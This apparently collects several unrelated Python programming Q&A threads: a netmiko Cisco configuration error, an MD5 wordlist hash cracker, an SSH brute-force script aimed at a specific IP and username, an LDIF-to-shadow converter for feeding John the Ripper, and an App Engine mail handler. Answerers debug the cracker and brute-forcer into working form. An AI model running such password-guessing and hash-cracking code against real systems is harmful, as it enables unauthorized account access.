I am trying to use the python netmiko library to automate configuration of cisco devices using files, however I am getting the below error while testing. From googling I am guessing it may be something to do with the open function I have used for the configuration file.
Traceback (most recent call last):
File "config-auto.py", line 55, in <module>
device_list()
File "config-auto.py", line 50, in device_list
output = net_connect.send_config_from_file(inputfile)
File "/home/mmwanza/flask-project/venv/lib/python3.6/site-packages/netmiko/base_connection.py", line 2022, in send_config_from_file
with io.open(config_file, "rt", encoding="utf-8") as cfg_file:
TypeError: expected str, bytes or os.PathLike object, not _io.TextIOWrapper
from netmiko import ConnectHandler
import getpass
#prompt user for username
username = input('Enter username: ')
##username method to return the username
def credentials_username():
cred = username
return cred
#prompt user for password
p = getpass.getpass('Enter password: ')
##password method to return the password
def credentials_password():
password = p
return password
#Prompt to enter device file
devices_file = input('Enter devices inventory file name: ')
with open(devices_file) as hosts:
addresses = hosts.readlines()
#Prompt to enter configuration file
configsfile = input('Enter configuration file: ')
inputfile = open(configsfile, "r")
##devices dictionary
def device_list():
ios_device_info = dict()
for device in addresses:
ios_device_info['ip'] = device
ios_device_info['device_type'] = "cisco_ios"
ios_device_info['username'] = credentials_username()
ios_device_info['password'] = credentials_password()
net_connect = ConnectHandler(**ios_device_info)
output = net_connect.send_config_from_file(inputfile)
device_list()
I searched on google and found that it is pre installed and need not to be installed using pip
But when I ran a program writing by watching youtube but when i ran it gave me error
> Enter md5 hash: b73bf7d3ba1a517644661bc4bcd85f9a
> File name: passlist.txt
> Traceback (most recent call last): File "hack.py", line 20, in <module>
> digest = hashlib.md5(enc_wrd()).hexdigest() TypeError: 'bytes' object is not callable
but it showed this error bytes not callable sometimes freezed
This is my code:
import hashlib
flag = 0
counter = 0
pass_hash = input("Enter md5 hash: ")
wordlist = input("File name: ")
try:
pass_file = open(wordlist, "r")
except:
print("No file found")
quit()
for word in pass_file:
enc_wrd = word.encode('utf-8')
digest = hashlib.md5(enc_wrd()).hexdigest()
if digest == pass_hash:
print("Password found")
print("Password:" + word)
flag = 1
break
if flag == 0:
print("Password is not in list")
Replace digest = hashlib.md5(enc_wrd()).hexdigest() with digest = hashlib.md5(enc_wrd).hexdigest() because enc_wrd is bytes and you can't call it.
Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far.
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
The problem i have is that it understands that it should loop it, but all the output i get is:
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
Is there a way to fix this problem?
When i stop the program from running it gives me this Traceback:
Traceback (most recent call last):
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
response = ssh_connect(password)
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
ssh.connect(hostname = hostname, port = port, password= password, username= username)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
self._transport.auth_password(username, password)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
return self.auth_handler.wait_for_response(my_event)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
event.wait(0.1)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
signaled = self._cond.wait(timeout)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
gotit = waiter.acquire(True, timeout)
KeyboardInterrupt
Process finished with exit code 1
The traceback you posted (the one you get when interrupting the process) is actually irrelevant. The one that would have been usefull to let you debug the problem by yourself is lost due to your useless and actually harmful exception handler in your script's main loop, which you should either remove totally or at least rewrite to only catch expected exceptions - and then only wrap the ssh_connect() call, not the following code. IOW, you want to replace this:
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
With
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
except (your, list, of, expected, exceptions, here) as :
do_something_to_correctly_handle_this_exception_here(e)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
wrt/ your current problem, it's in the print calls above: you have:
print("some message" (variable, eventually_another_variable))
which is interpreted as:
msg = "some message" (variable, eventually_another_variable)
print(msg)
where the first line is interpreted as a function call applied to the "some message" string, hence the exception. What you want is string formatting, ie:
print("Password Incorrect: {} {}".format(username, password))
There are also quite a few things that are a bit wrong with your code, like opening files without closing them properly, mixing functions and top-level code instead of putting all operational code in functions on only have one single main function call at the top-level, writing passwords to a file and re-reading that file when you don't need it (technically at least), etc...
It's working. Try this:
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: {}, {}".format(username, password))
elif response == 2:
print("Connection Failed: {}".format(hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
In line 56, 60, 63 you ain't calling the variable properly. You forgot % though you can also use .format() as I have used in the code above
I have been trying to do some password cracking using L0phtcrack. I have a LDIF file that cannot be imported in to l0phtcrack as it is. lophtcrack does not also import from a csv file. The only option that I have using lophtcrack is to import from a Unix shadow file. Has anyone tried out converting a ldif file to a shadow file format in python ? If yes, would you mind sharing the script here.
Thanks
UPDATE - I made a few edits to code that i found online and got it to work. I now have a shadow file from my LDIF extract.
#!/usr/bin/env python
"""
Read in a ldap/ldif file and split out a unix-formated password file to run in
john the ripper for password auditing.
Typical usage (on the ldap server):
Dump the ldap database
slapcat > ldif.out
Convert it to passwd format
ldap-passwd-dump.py ldif.out passwd.out
Run john to crack passwords
john passwd.out
Aaron Peterson <aaron#midnightresearch.com>
"""
import sys, base64, re, os
class Results:
"""
Keep all user results here
"""
def __init__(self):
self.users = []
def addUser(self, user):
# Check for duplicates
dupe = 0
for u in self.users:
if u.uid == user.uid:
dupe = 1
break
if not dupe:
print " [*] Adding new user [%s, %s] to results" % (user.cn, user.uid)
self.users.append(user)
else:
print " [*] Not adding duplicate user [%s]" % user.cn
class User(list):
def __init__(self, hash=None, base64=None, password=None, cn=None, uid=None):
self.hash = hash
self.uid = uid
self.base64 = base64
self.password = password
self.cn = cn
list.__init__(self)
class LDIFCrack:
def main(self):
# Open file
f = open(self.ldif, "r")
# Load in the first user
user = User()
isInGroup=0
# Load lines into a "user"
for line in f:
if re.compile(r"^\s*$").search(line):
# Only append the old user if it's in the right group, and has a password set
if isInGroup and user.hash:
self.results.addUser(user)
# Reset user and counter
user = User()
isInGroup=0
# Make sure we test the right groups
if re.compile(self.groupMatch).search(line):
isInGroup=1
# Pull out the password
match = re.compile(r"userpassword: (.*)$").search(line)
if match:
user.hash = match.group(1)
# uid
match = re.compile(r"uid: (.*)$").search(line)
if match:
user.uid= match.group(1)
# Grab the common name
matchCn = re.compile(r"cn: (.*)$").search(line)
if matchCn:
user.cn = matchCn.group(1)
def printPasswd(self, file):
f = open(file, "w")
for user in self.results.users:
line = "%s:%s:::%s" % (user.uid, user.hash, user.cn)
f.write(line + "\n")
print " [*] %s" % line
f.close()
print " [*] Wrote [%s] password lines to [%s] " % (len(self.results.users), file)
def __init__(self, ldif, groupMatch):
self.ldif = ldif
self.results = Results()
self.groupMatch = groupMatch
self.main()
if __name__ == "__main__":
if len(sys.argv) < 3:
print "\nusage: %s <ldif file> <output password file> [<user matchString>]" % sys.argv[0]
print " example: %s ldif.out passwd.txt \"^ou: MyGroup\"" % sys.argv[0]
print " (matchString default is \"objectClass: posixAccount\")\n"
sys.exit(1)
ldif = sys.argv[1]
passwdFile = sys.argv[2]
if not os.path.exists(ldif):
print " [!] LDIF Input file [%s] does not exist..." % ldif
sys.exit(1)
if os.path.exists(passwdFile):
print " [!] Won't overwrite existing passwd file [%s]" % passwdFile
sys.exit(1)
# Will match the user against this group before cracking it if it's set
if len(sys.argv) == 4:
groupMatch = sys.argv[3]
else:
groupMatch = "objectClass: posixAccount"
ldifcrack = LDIFCrack(ldif, groupMatch)
ldifcrack.printPasswd(passwdFile)
print " [*] Done"
I am hosting a website on Google Apps Engine and am trying to use Python's mail API to take POST data and send an email.
Here is my script:
from google.appengine.ext import webapp
from google.appengine.ext.webapp.util import run_wsgi_app
from google.appengine.api import mail
class SendEmail(webapp.RequestHandler):
def post(self):
name = self.request.get('name')
# self.response.out.write(name)
email = self.request.get('email')
tempSubject = self.request.get('subject')
msg = self.request.get('message')
if name is None:
self.response.out.write("Error: You did not enter a name.")
elif email is None:
self.response.out.write("Error: You did not enter an email.")
elif tempSubject is None:
self.response.out.write("Error: You did not enter a subject.")
elif msg is None:
self.response.out.write("Error: You did not enter a message.")
else:
_subject = "Msg from: " + name + "Re: " + tempSubject
message = mail.EmailMessage(sender = "foo#bar.com", to = "bar#foo.com", subject = _subject, body = msg, reply_to = email)
message.send()
def runApp():
application = webapp.WSGIApplication([('/email', SendEmail)], debug=True)
run_wsgi_app(application)
if __name__ == '__main__':
runApp()
And here is the traceback from the log on the server:
<type 'exceptions.NameError'>: name 'name' is not defined
Traceback (most recent call last):
File "/base/data/home/apps/s~alex-young/1.365202894602706277/email.py", line 5, in <module>
class SendEmail(webapp.RequestHandler):
File "/base/data/home/apps/s~alex-young/1.365202894602706277/email.py", line 14, in SendEmail
if name is None:
I ran the script locally with no errors, but once I try to run it on the server it keeps insisting the name variable I declared doesn't exist. Any idea why this happens?
Also, if I comment out that line, it says email doesn't exist, and so forth
As it turns out, sometimes I used spaces to indent and other times I used tabs. Python didn't like that. Here is the final code:
import cgi
from google.appengine.ext import webapp
from google.appengine.ext.webapp.util import run_wsgi_app
from google.appengine.api import mail
class SendEmail(webapp.RequestHandler):
def post(self):
name = self.request.get('name', '')
email = self.request.get('email', '')
tempSubject = self.request.get('subject', '')
msg = self.request.get('message', '')
if name is None:
self.response.out.write("Error: You did not enter a name.")
elif email is None:
self.response.out.write("Error: You did not enter an email.")
elif tempSubject is None:
self.response.out.write("Error: You did not enter a subject.")
elif msg is None:
self.response.out.write("Error: You did not enter a message.")
else:
_subject = "Message from: " + name + ", Re: " + tempSubject
msg += "\n\nI can be reached at "
msg += email
message = mail.EmailMessage(sender = "foo#bar.com", to = "bar#foo.com")
message.subject = _subject
message.body = msg
message.send()
self.redirect('/')
def runApp():
application = webapp.WSGIApplication([('/email', SendEmail)], debug=True)
run_wsgi_app(application)
if __name__ == '__main__':
runApp()